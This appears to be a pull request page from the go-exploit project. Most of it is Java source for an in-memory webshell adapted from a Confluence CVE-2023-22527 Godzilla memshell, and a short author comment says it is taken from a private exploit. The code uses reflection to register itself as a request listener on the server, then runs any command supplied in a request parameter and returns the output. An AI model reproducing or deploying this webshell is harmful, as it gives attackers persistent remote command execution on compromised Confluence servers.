go-exploit
go-exploit copied to clipboard
Add Java Webshell Bytecode
The use case I'm using this for (which is Confluence), needs to be made more generic. I felt like I should have been able to pass the context in the constructor via normal getRequest().getServletContext() but I wasn't successful so the Godzilla webshell shim that uses com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager survives... obviously making it not generic. Need to find time to spend with this, but this version is basically in my private exploit.
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.io.PrintWriter;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.DataInputStream;
import javax.servlet.*;
// Original code was taken from: https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL/blob/main/src/main/ConfluenceFilterMemshell.java
// But adapted to be a generic webshell and look more like https://medium.com/@m01e/jsp-webshell-cookbook-part-3-f2a96f3b81ad
//
// This code depends on servlet-api.jar (Tomcat 9.0)
public class ABCDEFG implements ServletRequestListener {
public ABCDEFG() {
try {
addListener(this, getStandardContext());
} catch (Throwable e) {
}
}
private Object getStandardContext() throws Exception{
Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance();
Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest");
Object context = ((ServletRequest)getRequest.invoke(servletActionContextCompatManager, null)).getServletContext();
return getFieldValue(getFieldValue(context,"context"), "context");
}
private void addListener(Object listener, Object standardContext) throws Exception {
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener", Object.class);
addApplicationEventListenerMethod.setAccessible(true);
addApplicationEventListenerMethod.invoke(standardContext, listener);
}
@Override
public void requestInitialized(ServletRequestEvent sret) {
try {
ServletRequest request = sret.getServletRequest();
String cmd = request.getParameter("AAAAAAAAAAAA");
if (cmd != null) {
ServletResponse response = (ServletResponse)getFieldValue(getFieldValue(request, "request"), "response");
PrintWriter printWriter = response.getWriter();
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream( in );
String disr = dis.readLine();
while (disr != null) {
printWriter.write(disr);
disr = dis.readLine();
}
printWriter.flush();
printWriter.close();
}
}
catch (Exception e) {
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field) obj;
} else {
Method method = null;
Class cs = obj.getClass();
while (cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
}